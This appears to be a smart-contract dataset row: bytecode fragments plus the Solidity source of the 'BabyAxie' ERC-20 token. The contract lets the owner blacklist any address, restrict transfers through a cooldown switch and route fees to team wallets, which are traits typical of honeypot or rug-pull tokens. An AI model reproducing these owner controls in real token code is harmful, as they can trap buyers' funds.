ffffffffff1614151515610f8257600080fd5b60016003805490500160045460328211158015610f9f5750818111155b8015610fac575060008114155b8015610fb9575060008214155b1515610fc457600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600380548060010182816110309190612218565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156111a75760016000858152602001908152602001600020600060038381548110151561110757fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611187576001820191505b60045482141561119a57600192506111a8565b80806001019150506110d6565b5b5050919050565b600080600090505b600380549050811015611275576001600084815260200190815260200160002060006003838154811015156111e857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611268576001820191505b80806001019150506111b7565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6112df612244565b600380548060200260200160405190810160405280929190818152602001828054801561136157602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611317575b5050505050905090565b611373612258565b61137b612258565b60008060055460405180591061138e5750595b9080825280602002602001820160405250925060009150600090505b60055481101561144a578580156113e1575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806114145750848015611413575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561143d5780838381518110151561142857fe5b90602001906020020181815250506001820191505b80806001019150506113aa565b87870360405180591061145a5750595b908082528060200260200182016040525093508790505b868110156114bc57828181518110151561148757fe5b90602001906020020151848983038151811015156114a157fe5b90602001906020020181815250508080600101915050611471565b505050949350505050565b6114cf612244565b6114d7612244565b6000806003805490506040518059106114ed5750595b9080825280602002602001820160405250925060009150600090505b60038054905081101561164c5760016000868152602001908152602001600020600060038381548110151561153a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163f576003818154811015156115c257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156115fc57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611509565b8160405180591061165a5750595b90808252806020026020018201604052509350600090505b818110156116e957828181518110151561168857fe5b9060200190602002015184828151811015156116a057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611672565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173157600080fd5b60038054905081603282111580156117495750818111155b8015611756575060008114155b8015611763575060008214155b151561176e57600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561180a57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561186657600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118d257600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361198785611d4a565b5050505050565b600061199b848484612048565b90506119a6816117b1565b9392505050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119e757600080fd5b806006819055507fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca2816040518082815260200191505060405180910390a150565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a6f57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611ac857600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611b2257600080fd5b600092505b600380549050831015611c0d578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611b5a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c005783600384815481101515611bb257fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611c0d565b8280600101935050611b27565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b60008033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611da657600080fd5b83336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611e1157600080fd5b8560008082815260200190815260200160002060030160009054906101000a900460ff16151515611e4157600080fd5b6000808881526020019081526020016000209550611e5e876110c9565b94508480611e995750600086600201805460018160011615610100020316600290049050148015611e985750611e97866001015461219a565b5b5b156120395760018660030160006101000a81548160ff021916908315150217905550841515611ed75785600101546008600082825401925050819055505b8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168660010154876002016040518082805460018160011615610100020316600290048015611f805780601f10611f5557610100808354040283529160200191611f80565b820191906000526020600020905b815481529060010190602001808311611f6357829003601f168201915b505091505060006040518083038185876187965a03f19250505015611fd157867f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2612038565b867f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008660030160006101000a81548160ff0219169083151502179055508415156120375785600101546008600082825403925050819055505b5b5b50505050505050565b60085481565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415151561207157600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061213092919061226c565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b600062015180600754014211156121bb574260078190555060006008819055505b600654826008540111806121d457506008548260085401105b156121e257600090506121e7565b600190505b919050565b8154818355818115116122135781836000526020600020918201910161221291906122ec565b5b505050565b81548183558181151161223f5781836000526020600020918201910161223e91906122ec565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106122ad57805160ff19168380011785556122db565b828001600101855582156122db579182015b828111156122da5782518255916020019190600101906122bf565b5b5090506122e891906122ec565b5090565b61230e91905b8082111561230a5760008160009055506001016122f2565b5090565b905600a165627a7a7230582061d97df6cd7fe87779d9fa28992d2fb80b4429a67017241e906d53439973c7c90029
|
{"success": true, "error": null, "results": {}}
| 5,325 |
0x301587c4b0cd367178b7cb426b75ed9e0e3cdacb
|
/**
*Submitted for verification at Etherscan.io on 2021-08-18
*/
/*
FAIR LAUNCH, NO PRESALE
https://t.me/babyaxieeth
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BabyAxie is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "BabyAxie";
string private constant _symbol = "bAXIE";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 0;
uint256 private _teamFee = 12;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280600881526020017f4261627941786965000000000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff02191690831515021790555068056bc75e2d631000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f6241584945000000000000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390f